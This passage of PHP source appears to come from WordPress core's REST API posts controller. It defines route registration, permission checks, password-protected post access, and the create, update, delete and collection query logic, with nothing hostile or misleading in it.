	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
		$obj             = get_post_type_object( $post_type );
		$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;
		$this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2';

		$this->meta = new WP_REST_Post_Meta_Fields( $this->post_type );
	}

	/**
	 * Registers the routes for posts.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		$schema        = $this->get_item_schema();
		$get_item_args = array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
		if ( isset( $schema['properties']['excerpt'] ) ) {
			$get_item_args['excerpt_length'] = array(
				'description' => __( 'Override the default excerpt length.' ),
				'type'        => 'integer',
			);
		}
		if ( isset( $schema['properties']['password'] ) ) {
			$get_item_args['password'] = array(
				'description' => __( 'The password for the post if it is password protected.' ),
				'type'        => 'string',
			);
		}
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the post.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $get_item_args,
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read posts.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {

		$post_type = get_post_type_object( $this->post_type );

		if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit posts in this post type.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Overrides the result of the post password check for REST requested posts.
	 *
	 * Allow users to read the content of password protected posts if they have
	 * previously passed a permission check or if they have the `edit_post` capability
	 * for the post being checked.
	 *
	 * @since 5.7.1
	 *
	 * @param bool    $required Whether the post requires a password check.
	 * @param WP_Post $post     The post been password checked.
	 * @return bool Result of password check taking into account REST API considerations.
	 */
	public function check_password_required( $required, $post ) {
		if ( ! $required ) {
			return $required;
		}

		$post = get_post( $post );

		if ( ! $post ) {
			return $required;
		}

		if ( ! empty( $this->password_check_passed[ $post->ID ] ) ) {
			// Password previously checked and approved.
			return false;
		}

		return ! current_user_can( 'edit_post', $post->ID );
	}

	/**
	 * Retrieves a collection of posts.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Ensure a search string is set in case the orderby is set to 'relevance'.
		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
			return new WP_Error(
				'rest_no_search_term_defined',
				__( 'You need to define a search term to order by relevance.' ),
				array( 'status' => 400 )
			);
		}

		// Ensure an include parameter is set in case the orderby is set to 'include'.
		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
			return new WP_Error(
				'rest_orderby_include_missing_include',
				__( 'You need to define an include parameter to order by include.' ),
				array( 'status' => 400 )
			);
		}

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();
		$args       = array();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'author'         => 'author__in',
			'author_exclude' => 'author__not_in',
			'exclude'        => 'post__not_in',
			'include'        => 'post__in',
			'ignore_sticky'  => 'ignore_sticky_posts',
			'menu_order'     => 'menu_order',
			'offset'         => 'offset',
			'order'          => 'order',
			'orderby'        => 'orderby',
			'page'           => 'paged',
			'parent'         => 'post_parent__in',
			'parent_exclude' => 'post_parent__not_in',
			'search'         => 's',
			'search_columns' => 'search_columns',
			'slug'           => 'post_name__in',
			'status'         => 'post_status',
		);

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$args[ $wp_param ] = $request[ $api_param ];
			}
		}

		// Check for & assign any parameters which require special handling or setting.
		$args['date_query'] = array();

		if ( isset( $registered['before'], $request['before'] ) ) {
			$args['date_query'][] = array(
				'before' => $request['before'],
				'column' => 'post_date',
			);
		}

		if ( isset( $registered['modified_before'], $request['modified_before'] ) ) {
			$args['date_query'][] = array(
				'before' => $request['modified_before'],
				'column' => 'post_modified',
			);
		}

		if ( isset( $registered['after'], $request['after'] ) ) {
			$args['date_query'][] = array(
				'after'  => $request['after'],
				'column' => 'post_date',
			);
		}

		if ( isset( $registered['modified_after'], $request['modified_after'] ) ) {
			$args['date_query'][] = array(
				'after'  => $request['modified_after'],
				'column' => 'post_modified',
			);
		}

		// Ensure our per_page parameter overrides any provided posts_per_page filter.
		if ( isset( $registered['per_page'] ) ) {
			$args['posts_per_page'] = $request['per_page'];
		}

		if ( isset( $registered['sticky'], $request['sticky'] ) ) {
			$sticky_posts = get_option( 'sticky_posts', array() );
			if ( ! is_array( $sticky_posts ) ) {
				$sticky_posts = array();
			}
			if ( $request['sticky'] ) {
				/*
				 * As post__in will be used to only get sticky posts,
				 * we have to support the case where post__in was already
				 * specified.
				 */
				$args['post__in'] = $args['post__in'] ? array_intersect( $sticky_posts, $args['post__in'] ) : $sticky_posts;

				/*
				 * If we intersected, but there are no post IDs in common,
				 * WP_Query won't return "no posts" for post__in = array()
				 * so we have to fake it a bit.
				 */
				if ( ! $args['post__in'] ) {
					$args['post__in'] = array( 0 );
				}
			} elseif ( $sticky_posts ) {
				/*
				 * As post___not_in will be used to only get posts that
				 * are not sticky, we have to support the case where post__not_in
				 * was already specified.
				 */
				$args['post__not_in'] = array_merge( $args['post__not_in'], $sticky_posts );
			}
		}

		/*
		 * Honor the original REST API `post__in` behavior. Don't prepend sticky posts
		 * when `post__in` has been specified.
		 */
		if ( ! empty( $args['post__in'] ) ) {
			unset( $args['ignore_sticky_posts'] );
		}

		if (
			isset( $registered['search_semantics'], $request['search_semantics'] )
			&& 'exact' === $request['search_semantics']
		) {
			$args['exact'] = true;
		}

		$args = $this->prepare_tax_query( $args, $request );

		if ( isset( $registered['format'], $request['format'] ) ) {
			$formats = $request['format'];
			/*
			 * The relation needs to be set to `OR` since the request can contain
			 * two separate conditions. The user may be querying for items that have
			 * either the `standard` format or a specific format.
			 */
			$formats_query = array( 'relation' => 'OR' );

			/*
			 * The default post format, `standard`, is not stored in the database.
			 * If `standard` is part of the request, the query needs to exclude all post items that
			 * have a format assigned.
			 */
			if ( in_array( 'standard', $formats, true ) ) {
				$formats_query[] = array(
					'taxonomy' => 'post_format',
					'field'    => 'slug',
					'operator' => 'NOT EXISTS',
				);
				// Remove the `standard` format, since it cannot be queried.
				unset( $formats[ array_search( 'standard', $formats, true ) ] );
			}

			// Add any remaining formats to the formats query.
			if ( ! empty( $formats ) ) {
				// Add the `post-format-` prefix.
				$terms = array_map(
					static function ( $format ) {
						return "post-format-$format";
					},
					$formats
				);

				$formats_query[] = array(
					'taxonomy' => 'post_format',
					'field'    => 'slug',
					'terms'    => $terms,
					'operator' => 'IN',
				);
			}

			// Enable filtering by both post formats and other taxonomies by combining them with `AND`.
			if ( isset( $args['tax_query'] ) ) {
				$args['tax_query'][] = array(
					'relation' => 'AND',
					$formats_query,
				);
			} else {
				$args['tax_query'] = $formats_query;
			}
		}

		// Force the post_type argument, since it's not a user input variable.
		$args['post_type'] = $this->post_type;

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
			$args['fields'] = 'ids';
			// Disable priming post meta for HEAD requests to improve performance.
			$args['update_post_term_cache'] = false;
			$args['update_post_meta_cache'] = false;
		}

		/**
		 * Filters WP_Query arguments when querying posts via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_query`
		 *  - `rest_page_query`
		 *  - `rest_attachment_query`
		 *
		 * Enables adding extra arguments or setting defaults for a post collection request.
		 *
		 * @since 4.7.0
		 * @since 5.7.0 Moved after the `tax_query` query arg is generated.
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_query/
		 *
		 * @param array           $args    Array of arguments for WP_Query.
		 * @param WP_REST_Request $request The REST API request.
		 */
		$args       = apply_filters( "rest_{$this->post_type}_query", $args, $request );
		$query_args = $this->prepare_items_query( $args, $request );

		$posts_query  = new WP_Query();
		$query_result = $posts_query->query( $query_args );

		// Allow access to all password protected posts if the context is edit.
		if ( 'edit' === $request['context'] ) {
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
		}

		if ( ! $is_head_request ) {
			$posts = array();

			update_post_author_caches( $query_result );
			update_post_parent_caches( $query_result );

			if ( post_type_supports( $this->post_type, 'thumbnail' ) ) {
				update_post_thumbnail_cache( $posts_query );
			}

			foreach ( $query_result as $post ) {
				if ( 'edit' === $request['context'] ) {
					$permission = $this->check_update_permission( $post );
				} else {
					$permission = $this->check_read_permission( $post );
				}

				if ( ! $permission ) {
					continue;
				}

				$data    = $this->prepare_item_for_response( $post, $request );
				$posts[] = $this->prepare_response_for_collection( $data );
			}
		}

		// Reset filter.
		if ( 'edit' === $request['context'] ) {
			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
		}

		$page        = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0;
		$total_posts = $posts_query->found_posts;

		if ( $total_posts < 1 && $page > 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $query_args['paged'] );

			$count_query = new WP_Query();
			$count_query->query( $query_args );
			$total_posts = $count_query->found_posts;
		}

		$max_pages = (int) ceil( $total_posts / (int) $posts_query->query_vars['posts_per_page'] );

		if ( $page > $max_pages && $total_posts > 0 ) {
			return new WP_Error(
				'rest_post_invalid_page_number',
				__( 'The page number requested is larger than the number of pages available.' ),
				array( 'status' => 400 )
			);
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $posts );

		$response->header( 'X-WP-Total', (int) $total_posts );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( rest_get_route_for_post_type_items( $this->post_type ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Gets the post, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_post( $id ) {
		$error = new WP_Error(
			'rest_post_invalid_id',
			__( 'Invalid post ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$post = get_post( (int) $id );
		if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
			return $error;
		}

		return $post;
	}

	/**
	 * Checks if a given request has access to read a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( $post && ! empty( $request->get_query_params()['password'] ) ) {
			// Check post password, and return error if invalid.
			if ( ! hash_equals( $post->post_password, $request->get_query_params()['password'] ) ) {
				return new WP_Error(
					'rest_post_incorrect_password',
					__( 'Incorrect post password.' ),
					array( 'status' => 403 )
				);
			}
		}

		// Allow access to all password protected posts if the context is edit.
		if ( 'edit' === $request['context'] ) {
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
		}

		if ( $post ) {
			return $this->check_read_permission( $post );
		}

		return true;
	}

	/**
	 * Checks if the user can access password-protected content.
	 *
	 * This method determines whether we need to override the regular password
	 * check in core with a filter.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post to check against.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool True if the user can access password-protected content, otherwise false.
	 */
	public function can_access_password_content( $post, $request ) {
		if ( empty( $post->post_password ) ) {
			// No filter required.
			return false;
		}

		/*
		 * Users always gets access to password protected content in the edit
		 * context if they have the `edit_post` meta capability.
		 */
		if (
			'edit' === $request['context'] &&
			current_user_can( 'edit_post', $post->ID )
		) {
			return true;
		}

		// No password, no auth.
		if ( empty( $request['password'] ) ) {
			return false;
		}

		// Double-check the request password.
		return hash_equals( $post->post_password, $request['password'] );
	}

	/**
	 * Retrieves a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$data     = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $data );

		if ( is_post_type_viewable( get_post_type_object( $post->post_type ) ) ) {
			$response->link_header( 'alternate', get_permalink( $post->ID ), array( 'type' => 'text/html' ) );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to create a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_post_exists',
				__( 'Cannot create existing post.' ),
				array( 'status' => 400 )
			);
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
			return new WP_Error(
				'rest_cannot_edit_others',
				__( 'Sorry, you are not allowed to create posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
			return new WP_Error(
				'rest_cannot_assign_sticky',
				__( 'Sorry, you are not allowed to make posts sticky.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( $post_type->cap->create_posts ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_assign_terms_permission( $request ) ) {
			return new WP_Error(
				'rest_cannot_assign_term',
				__( 'Sorry, you are not allowed to assign the provided terms.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_post_exists',
				__( 'Cannot create existing post.' ),
				array( 'status' => 400 )
			);
		}

		$prepared_post = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_post ) ) {
			return $prepared_post;
		}

		$prepared_post->post_type = $this->post_type;

		if ( ! empty( $prepared_post->post_name )
			&& ! empty( $prepared_post->post_status )
			&& in_array( $prepared_post->post_status, array( 'draft', 'pending' ), true )
		) {
			/*
			 * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts.
			 *
			 * To ensure that a unique slug is generated, pass the post data with the 'publish' status.
			 */
			$prepared_post->post_name = wp_unique_post_slug(
				$prepared_post->post_name,
				$prepared_post->id,
				'publish',
				$prepared_post->post_type,
				$prepared_post->post_parent
			);
		}

		$post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true, false );

		if ( is_wp_error( $post_id ) ) {

			if ( 'db_insert_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}

			return $post_id;
		}

		$post = get_post( $post_id );

		/**
		 * Fires after a single post is created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_insert_post`
		 *  - `rest_insert_page`
		 *  - `rest_insert_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post         $post     Inserted or updated post object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a post, false when updating.
		 */
		do_action( "rest_insert_{$this->post_type}", $post, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['sticky'] ) ) {
			if ( ! empty( $request['sticky'] ) ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$this->handle_featured_media( $request['featured_media'], $post_id );
		}

		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
			set_post_format( $post, $request['format'] );
		}

		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
			$this->handle_template( $request['template'], $post_id, true );
		}

		$terms_update = $this->handle_terms( $post_id, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $post_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $post_id );
		$fields_update = $this->update_additional_fields_for_object( $post, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single post is completely created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_after_insert_post`
		 *  - `rest_after_insert_page`
		 *  - `rest_after_insert_attachment`
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Post         $post     Inserted or updated post object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a post, false when updating.
		 */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, true );

		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( rest_get_route_for_post( $post ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
			return new WP_Error(
				'rest_cannot_edit_others',
				__( 'Sorry, you are not allowed to update posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
			return new WP_Error(
				'rest_cannot_assign_sticky',
				__( 'Sorry, you are not allowed to make posts sticky.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_assign_terms_permission( $request ) ) {
			return new WP_Error(
				'rest_cannot_assign_term',
				__( 'Sorry, you are not allowed to assign the provided terms.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$valid_check = $this->get_post( $request['id'] );
		if ( is_wp_error( $valid_check ) ) {
			return $valid_check;
		}

		$post_before = get_post( $request['id'] );
		$post        = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! empty( $post->post_status ) ) {
			$post_status = $post->post_status;
		} else {
			$post_status = $post_before->post_status;
		}

		/*
		 * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts.
		 *
		 * To ensure that a unique slug is generated, pass the post data with the 'publish' status.
		 */
		if ( ! empty( $post->post_name ) && in_array( $post_status, array( 'draft', 'pending' ), true ) ) {
			$post_parent     = ! empty( $post->post_parent ) ? $post->post_parent : 0;
			$post->post_name = wp_unique_post_slug(
				$post->post_name,
				$post->ID,
				'publish',
				$post->post_type,
				$post_parent
			);
		}

		// Convert the post object to an array, otherwise wp_update_post() will expect non-escaped input.
		$post_id = wp_update_post( wp_slash( (array) $post ), true, false );

		if ( is_wp_error( $post_id ) ) {
			if ( 'db_update_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}
			return $post_id;
		}

		$post = get_post( $post_id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_insert_{$this->post_type}", $post, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
			set_post_format( $post, $request['format'] );
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$this->handle_featured_media( $request['featured_media'], $post_id );
		}

		if ( ! empty( $schema['properties']['sticky'] ) && isset( $request['sticky'] ) ) {
			if ( ! empty( $request['sticky'] ) ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}

		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
			$this->handle_template( $request['template'], $post->ID );
		}

		$terms_update = $this->handle_terms( $post->ID, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $post->ID );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $post_id );
		$fields_update = $this->update_additional_fields_for_object( $post, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		// Filter is fired in WP_REST_Attachments_Controller subclass.
		if ( 'attachment' === $this->post_type ) {
			$response = $this->prepare_item_for_response( $post, $request );
			return rest_ensure_response( $response );
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, false );

		wp_after_insert_post( $post, true, $post_before );

		$response = $this->prepare_item_for_response( $post, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( $post && ! $this->check_delete_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$id    = $post->ID;
		$force = (bool) $request['force'];

		$supports_trash = ( EMPTY_TRASH_DAYS > 0 );

		if ( 'attachment' === $post->post_type ) {
			$supports_trash = $supports_trash && MEDIA_TRASH;
		}

		/**
		 * Filters whether a post is trashable.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_trashable`
		 *  - `rest_page_trashable`
		 *  - `rest_attachment_trashable`
		 *
		 * Pass false to disable Trash support for the post.
		 *
		 * @since 4.7.0
		 *
		 * @param bool    $supports_trash Whether the post type support trashing.
		 * @param WP_Post $post           The Post object being considered for trashing support.
		 */
		$supports_trash = apply_filters( "rest_{$this->post_type}_trashable", $supports_trash, $post );

		if ( ! $this->check_delete_permission( $post ) ) {
			return new WP_Error(
				'rest_user_cannot_delete_post',
				__( 'Sorry, you are not allowed to delete this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$request->set_param( 'context', 'edit' );

		// If we're forcing, then delete permanently.
		if ( $force ) {
			$previous = $this->prepare_item_for_response( $post, $request );
			$result   = wp_delete_post( $id, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// If we don't support trashing for this type, error out.
			if ( ! $supports_trash ) {
				return new WP_Error(
					'rest_trash_not_supported',
					/* translators: %s: force=true */
					sprintf( __( "The post does not support trashing. Set '%s' to delete." ), 'force=true' ),
					array( 'status' => 501 )
				);
			}

			// Otherwise, only trash if we haven't already.
			if ( 'trash' === $post->post_status ) {
				return new WP_Error(
					'rest_already_trashed',
					__( 'The post has already been deleted.' ),
					array( 'status' => 410 )
				);
			}

			/*
			 * (Note that internally this falls through to `wp_delete_post()`
			 * if the Trash is disabled.)
			 */
			$result   = wp_trash_post( $id );
			$post     = get_post( $id );
			$response = $this->prepare_item_for_response( $post, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The post cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		/**
		 * Fires immediately after a single post is deleted or trashed via the REST API.
		 *
		 * They dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_delete_post`
		 *  - `rest_delete_page`
		 *  - `rest_delete_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post          $post     The deleted or trashed post.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( "rest_delete_{$this->post_type}", $post, $response, $request );

		return $response;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = array();

		foreach ( $prepared_args as $key => $value ) {
			/**
			 * Filters the query_vars used in get_items() for the constructed query.
			 *
			 * The dynamic portion of the hook name, `$key`, refers to the query_var key.
			 *
			 * @since 4.7.0
			 *
			 * @param string $value The query_var value.
			 */
			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}

		if ( 'post' !== $this->post_type || ! isset( $query_args['ignore_sticky_posts'] ) ) {
			$query_args['ignore_sticky_posts'] = true;
		}

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
